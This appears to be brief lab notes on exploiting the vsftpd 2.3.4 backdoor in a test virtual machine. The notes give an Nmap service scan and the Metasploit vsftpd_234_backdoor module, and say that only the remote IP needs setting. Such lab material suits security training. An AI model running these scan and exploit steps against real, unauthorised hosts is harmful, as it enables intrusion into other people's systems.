VsFtp2 Version 2.3.4 backdoor vulnerability
The use of Metasploit+Nmap
Test and build a virtual machine
Nmap-sT-A (IP address)
Or use metaspliot scan to scan with ftp-version
# use other people's pictures here
Metasploit vulnerability exploitation
Use exploit/unix/ftp/vsftpd_234_backdoor
Msf exploit (vsftpd_234_backdoor) > show options
You need to fill in a few parameters and a remote ip is fine.
# use other people's pictures